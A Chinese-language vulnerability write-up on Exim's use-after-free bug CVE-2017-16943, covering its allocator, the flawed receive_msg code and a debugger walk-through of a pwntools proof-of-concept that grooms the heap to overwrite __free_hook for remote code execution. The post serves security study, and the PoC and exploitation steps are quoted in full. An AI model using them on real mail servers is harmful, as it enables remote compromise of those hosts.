exim CVE-2017-16943 uaf漏洞分析
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
这是最近爆出来的 exim
的一个 uaf
漏洞,可以进行远程代码执行。本文对该漏洞和作者给出的 poc
进行分析。
正文
环境搭建
# 从github上拉取源码
$ git clone https://github.com/Exim/exim.git
# 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:
$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b
# 安装相关依赖
$ apt install libdb-dev libpcre3-dev
# 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录
$ cd src
$ mkdir Local
$ cd Local
$ wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
$ cd ..
# 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装
$ make && make install
注:
如果要编译成 debug
模式,在 Makefile
找个位置 加上 -g
。(比如 CFLAGS
, 或者 gcc
路径处)
安装完后 ,修改 /etc/exim/configure
文件的第 364
行,把 accept hosts = :
修改成 accept hosts = *
然后使用 /usr/exim/bin/exim -bdf -d+all
运行即可。
漏洞分析
首先谈谈 exim
自己实现的 堆管理
机制.相关代码位于 store.c
.
其中重要函数的作用
store_get_3
: 分配内存store_extend_3
: 扩展堆内存store_release_3
: 释放堆内存
exim
使用 block pool
来管理内存。其中共有 3 个 pool
,以枚举变量定义.
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };
程序则通过 store_pool
来决定使用哪个 pool
来分配内存。不同的 pool
相互独立。
有一些全局变量要注意。
//管理每个 block 链表的首节点
static storeblock *chainbase[3] = { NULL, NULL, NULL };
// 每一项是所属 pool中,目前提供的内存分配的 current_block 的指针
// 即内存管理是针对 current_block 的。
static storeblock *current_block[3] = { NULL, NULL, NULL };
// current_block 空闲内存的起始地址。每一项代表每一个
// pool 中的 current_block 的相应值
static void *next_yield[3] = { NULL, NULL, NULL };
// current_block 中空闲内存的大小, 每一项代表每一个
// pool 中的 current_block 的相应值
static int yield_length[3] = { -1, -1, -1 };
// 上一次分配获得的 内存地址
//每一项代表每一个pool 中的 current_block 的相应值
void *store_last_get[3] = { NULL, NULL, NULL };
block
的结构
每一个 pool
中的 block
通过 next
指针链接起来
大概的结构图如下
block
的 next
和 length
域以下(偏移 0x10
(64位)),用于内存分配(0x2000
字节)。
先来看看 store_get_3
,该函数用于内存请求。
首次使用会先调用 store_malloc
使用 系统的 malloc
分配 0x2000
大小内存块,这也是 block
的默认大小,并将这个内存块作为 current_block
。
如果 block
中的剩余大小足够的话,通过调整 next_yield
, yield_length
, store_last_get
直接切割内存块,然后返回 store_last_get
即可。
如果 block
中的内存不够,就用 store_malloc
另外分配一块,并将这个内存块作为 current_block
,然后再进行切割。
然后是 store_extend_3
函数
首先会进行校验,要求 store_last_get
和 next_yield
要连续,也就是待合并的块与 next_yield
要紧挨着,类似于
而且剩余内存大小也要能满足需要
如果条件满足直接修改全局变量,切割内存块即可.
store_release_3
函数
找到目标地址所在 block
,然后调用 free
释放掉即可
下面正式进入漏洞分析
漏洞位于 receive.c
的 receive_msg
函数。
漏洞代码
这个函数用于处理客户端提交的 exim
命令, ptr
表示当前以及接收的命令的字符数, header_size
为一个 阈值,初始为 0x100
, 当 ptr
> header_size-4
时, header_size
翻倍,然后扩展内存,以存储更多的字符串。
如果 next->text
与 next_yield
之间有另外的内存分配,或者 next->text
所在块没有足够的空间用来扩展,就会使用 store_get
获取内存,如果空间不够,就会调用 malloc
分配内存,然后复制内容到新分配的内存区域,最后释放掉原来的内存区域。
一切都看起来很平常,下面看看漏洞的原理。
store_get
分配到的是 block
中的一小块内存(store
), 然而 store_release_3
则会释放掉 一整个 block
的内存。
如果我们在进入该流程时,把 block
布局成类似这样.
因为 next->text
和 空闲块之间 有内存的分配,所以 store_extend_3
就会失败,进入 store_get
分配内存.
如果 free memory
区域内存能够满足需要, 那么就会从 free memory
区域 切割内存返回,然后会拷贝内容,最后 store_release(next->text)
, 此时会把 整个 block
释放掉,这样一来 next->text
,current_block
都指向了一块已经释放掉的内存,如果以后有使用到这块内存的话, 就是 UAF
了。
大概流程如下
接下来,分析一下 poc
.
# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *
context.log_level = 'debug'
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<meh@some.domain>")
r.recvline()
pause()
r.sendline('a'*0x1280+'\x7f')
log.info("new heap on top chunk....")
pause()
r.recvuntil('command')
r.sendline('DATA')
r.recvuntil('itself\r\n')
r.sendline('b'*0x4000+':\r\n')
log.info("use DATA to create unsorted bin, next want to let next->txt ----> block_base")
pause()
r.sendline('.\r\n')
r.sendline('.\r\n')
r.recvline()
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<meh@some.domain>")
r.recvline()
r.sendline('a'*0x3480+'\x7f')
log.info("new heap on top chunk.... again")
pause()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
log.info("make hole")
pause()
s = 'a'*0x1c1e + p64(0x41414141)*(0x1e00/8)
r.send(s+ ':\r\n')
r.send('\n')
r.interactive()
漏洞利用的原理在于,block
结构体的 next
和 length
域恰好位于 malloc chunk
的 fd
和 bk
指针区域,如果我们能在触发漏洞时把 这个 chunk
放到 unsorted bin
中,block
结构体的 next
和 length
就会变成 main_arena
中的地址,然后再次触发 store_get
,就会从 main_arena
中切割内存块返回给我们,我们就能修改 main_arena
中的数据了。可以改掉 __free_hook
来控制 eip
.
继续往下之前,还有一个点需要说一下。
当 exim
获得客户端连接后,首先调用 smtp_setup_msg
获取命令,如果获取到的是 无法识别 的命令,就会调用 string_printing
函数。
这个函数内部会调用 store_get
保存字符串.
所以我们可以通过这个 tips
控制一定的内存分配。
下面通过调试,看看 poc
的流程。
首先通过发送 无法识别的命令,分配一块大内存,与 top chunk
相邻
r.sendline('a'*0x1280+'\x7f')
可以看到此时 current_block
中剩下的长度为 0x11b0
,而请求的长度 0x1285
, 所以会通过 malloc
从系统分配内存,然后在切割返回。执行完后看看堆的状态
可以看到,现在的 current_block
的指针就是上一步的 top chunk
的地址,而且现在 current_block
和 top chunk
是相邻的。通过计算可以知道共分配了 0x1288
字节(内存对齐)
然后通过
r.sendline('b'*0x4000+':\r\n')
构造非常大的 unsorted bin
, 原因在于,他这个是先 分配
再 free
的,由于 0x4000
远大于 header_size
的初始值(0x100), 这样就会触发多次的 store_get
, 而且 0x4000
也大于 block
的默认大小(0x2000), 所以也会触发多次的 malloc
, 在 malloc
以后,会调用 store_release
释放掉之前的块,然后由于这个释放的块和 top chunk
之间有正在使用的块(刚刚调用store_get
分配的),所以不会与top chunk
合并,而会把 它放到 unsorted bin
中 ,这样多次以后就会构造一个比较大的 unsorted bin
.
第一次调用 store_get
,进行扩展,可以看到 请求 0x1000
, 但是剩余的只有 0x548
, 所以会调用 malloc
分配。
单步步过,查看堆的状态,发现和预期一致
store_release(next->text)
之后就有 unsorted bin
.
多次以后,就会有一个非常大的 unsorted bin
接下来使用
r.sendline('a'*0x3480+'\x7f')
再次分配一块大内存内存,使得 yield_length < 0x100
, 分配完后 yield_length
变成了 0xa0
。
下面使用
然后会进入 receive_msg
首先会分配一些东西。上一步 yield_length
变成了 0xa0
, 前面两个都比较小, current_block
可以满足需求。后面的next->text = store_get(header_size)
, header_size最开始 为 0x100, 所以此时会重新分配一个 block
,并且 next->text
会位于 block
的开始。
符合预期。
r.sendline(':BDAT \x7f')
触发 string_printing
,分配一小块内存。此时的 current_block
之后触发漏洞。
当触发 漏洞代码时, store_extend
会出错,因为 next->text
和空闲内存之间有在使用的内存。于是会触发 store_get(header_size)
,因为此时 空闲块的空间比较大 (0x1ee0), 所以会直接切割内存返回,然后 store_release
会释放这块内存。
可以看到current_block
被 free
并且被放到了 unsorted bin
, 此时 current_block
的 next
和 length
变成了 main_arena
的地址(可以看看之前 block的结构图)
当再次触发 store_get
, 会遍历 block->next
, 拿到 main_arena
, 然后切割内存分配给我们
之后的 memcpy
我们就可以修改main_arena
的数据了。
参考
https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/
https://bugs.exim.org/show_bug.cgi?id=2199
exim CVE-2017-16943 uaf漏洞分析的更多相关文章
- CVE-2010-0249 IE8 UAF漏洞分析
CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...
- CVE-2013-1347:Microsoft IE CGenericElement UAF 漏洞利用样本分析
CVE-2013-1347 漏洞是典型的 IE 浏览器 UAF 漏洞,所以其利用方法和一般的 IE 浏览器漏洞的利用方法非常相似,所以流程大体上可以分为这些步骤:(1) 对象被释放 (2) 精确覆盖被 ...
- CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
0x01 2013 年 "水坑" APT 攻击事件 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访 ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- CVE-2016-0143 漏洞分析(2016.4)
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
随机推荐
- iis 如何设置http访问转向https
把网站设置成https后,发现在浏览器输入域名后,并不能所期望的看到成功访问页面,在输入如:http://www.alipay.com后浏览器自动导航到https://www.alipay.com. ...
- Spring Security构建Rest服务-1201-Spring Security OAuth开发APP认证框架之实现服务提供商
实现服务提供商,就是要实现认证服务器.资源服务器. 现在做的都是app的东西,所以在app项目写代码 认证服务器: 新建 ImoocAuthenticationServerConfig 类,@Ena ...
- Spring Security构建Rest服务-0700-SpringSecurity开发基于表单的认证
自定义用户认证逻辑: 1,处理用户信息获取,2,用户校验,3密码的加密解密 新建:MyUserDetailService类,实现UserDetailsService接口. UserDetailsSer ...
- Vue的watch监听事件
Vue的watch监听事件 相关Html: <!DOCTYPE html> <html lang="en"> <head> <meta c ...
- 【优化】如何检测移动端 CPU 以及内存占用率
原文 http://taobaofed.org/blog/2015/12/04/cpu-allocation-profiler/ 前言 6 月底的时候淘宝众筹的 H5 接入到了支付宝钱包,上线前支付 ...
- elasticsearch(六) 之 elasticsearch优化
目录 elasticsearch 优化 从硬件上 : 从软件上: 从用户使用层 elasticsearch 优化 从硬件上 : 使用SSD 硬盘,解决io导致的瓶颈. 增大内存 但不超过32G(单实例 ...
- XML CData 处理
调研了 JAXB.XMLMapper(jackson) 具体方式 实现 优势 JAXB 1. 需要增加 CDATA 的Adaptor 2. 需要增加对非CDATA 的 CharacterEscapeH ...
- Java 集合框架(三)—— LinkedList
三.链表 —— LinkedList ArrayList 虽然好用,但是数组和数组列表都有一个重大的缺陷:从数组的中间位置删除一个元素要付出很大的代价,其原因是数组中处于被删除元素之后的所有元素都要向 ...
- vue 分享知识点
vue 分享模块清单 1.Vue 2.0之Vue实例和生命周期 2.vue 2.0之自定义指令 3.vue 2.0之观察者模式实现简单异步无限滚动 4.从JavaScript属性描述器剖析Vue.js ...
- Python第三方库____jieba
jieba是优秀的中文分词第三方库 中文文本需要通过分词获得单个词语 jieba是优秀的中文分词第三方库,需要额外安装 (pip install jieba) jieba库提供三种分词模式,最简单只 ...